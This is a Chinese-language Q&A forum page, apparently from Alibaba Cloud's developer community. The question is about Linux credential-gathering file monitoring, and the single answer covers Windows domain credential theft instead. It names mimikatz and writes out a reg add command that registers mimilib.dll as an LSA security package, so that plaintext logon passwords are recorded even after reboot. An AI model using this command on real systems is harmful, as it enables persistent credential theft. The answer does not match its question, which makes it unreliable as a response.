Linux安全中信息收集之凭证获取阶段的文件监控的注意事项以及用法是什么？
Linux安全中信息收集之凭证获取阶段的文件监控的注意事项以及用法是什么？
展开
收起
1
条回答
写回答
写回答
-
在windows域渗透中，可以通过SAM文件获取密码，以及通过mimikatz获取明文登录密码。 安全支持提供程序（SSP），主要功能是扩展Windows身份认证机制，该DLL文件会在lsass.exe 启动过程中进行加载。 DLL和注册表结合，将Mimikatz程序中的mimilib.dll复制到目标机器的system32文件夹下向路径：hklm\system\currentcontrolset\control\lsa\添加新值 reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ 用户登陆即会在相同路径下（System32）记录明文密码，且重启依旧会记录。2021-12-05 21:00:52赞同 展开评论 打赏
版权声明：本文内容由阿里云实名注册用户自发贡献，版权归原作者所有，阿里云开发者社区不拥有其著作权，亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容，填写侵权投诉表单进行举报，一经查实，本社区将立刻删除涉嫌侵权内容。
相关问答
